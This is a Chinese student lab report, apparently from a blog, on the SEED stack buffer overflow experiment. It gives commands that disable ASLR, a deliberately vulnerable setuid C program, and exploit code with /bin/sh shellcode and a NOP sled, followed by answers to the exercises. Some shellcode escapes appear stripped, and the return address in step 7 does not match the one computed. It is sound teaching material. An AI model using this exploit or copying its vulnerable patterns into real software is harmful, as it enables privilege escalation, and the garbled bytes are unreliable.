• 2018 第三周 20165326 缓冲区溢出漏洞实验


    缓冲区漏洞溢出实验

    一、实验准备

    1、输入命令安装一些用于编译 32 位 C 程序的软件包:

    $ sudo apt-get update
    
    $ sudo apt-get install -y lib32z1 libc6-dev-i386
    
    $ sudo apt-get install -y lib32readline-gplv2-dev
    

    2、进入32位环境

    $ Linux32
    

    3、关闭地址空间随机化

    $ sudo sysctl -w kernel.randomize_va_space=0
    

    4、设置zsh程序

    $ sudo su
    $ cd /bin
    $ rm sh
    $ ln -s zsh sh
    $ exit
    

    二、实验步骤

    1、输入/bin/bash进入bash
    2、在/tmp下新建一个stack.c文件

    $ cd /tmp
    $ vi stack.c
    

    3、编辑stack.c文件,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[12];
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
    
        printf("Returned Properly
    ");
        return 1;
    }
    

    4、编译该程序,并设置 SET-UID。GCC编译器有一种栈保护机制来阻止缓冲区溢出,–fno-stack-protector关闭这种机制,-z execstack 用于允许执行栈,-g 参数是为了使编译后得到的可执行文档能用 gdb 调试

    $ sudo su
    $ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    $ chmod u+s stack
    $ exit
    

    5、在/tmp下新建exploit.c文件,内容如下。此处代码在实验楼中也可使用wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c下载使用

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[] =
        "x31xc0" //xorl %eax,%eax
        "x50"     //pushl %eax
        "x68""//sh" //pushl $0x68732f2f
        "x68""/bin"     //pushl $0x6e69622f
        "x89xe3" //movl %esp,%ebx
        "x50"     //pushl %eax
        "x53"     //pushl %ebx
        "x89xe1" //movl %esp,%ecx
        "x99"     //cdq
        "xb0x0b" //movb $0x0b,%al
        "xcdx80" //int $0x80
        ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
    
        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);
    
        /* You need to fill the buffer with appropriate contents here */
        strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
        strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }
    

    6、输入命令来计算得到shellcode在内存中的地址

    $ gdb stack
    $ disass main
    

    结果如下

    根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd060+ 0x64(100的十六进制) = 0xffffd0c4

    7、修改exploit.c文件。将x??x??x??x??修改为x84xd4xffxff

    8、编译exploit.c程序

    $ gcc -m32 -o exploit exploit.c
    

    9、先运行攻击程序exploit,再运行漏洞程序stack,结果如下:

    三、练习

    1、按照实验步骤进行操作,攻击漏洞程序并获得 root 权限。
    2、通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。

    不能,结果显示段错误,说明esp地址发生变化

    3、将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。

    能。

    四、参考资料

    实验楼

  • 相关阅读:
    使用Visual Studio .Net 做自己的汉化软件
    给所有的Control加两个属性,实现回车键自动跳转到下一个控件
    数字逗号标记—以前原创(一)
    解决w3wp.exe占用CPU和内存问题
    sql日期函数
    索引的使用总结
    w3wp.exe狂占内存
    w3wp.exe占内存CPU问题 WIN2003 IIS6.0假死现象的分析
    查看Linux系统日志
    linux动态增加LV空间
  • 原文地址:https://www.cnblogs.com/Czzzz/p/9787367.html
Copyright © 2020-2023  润新知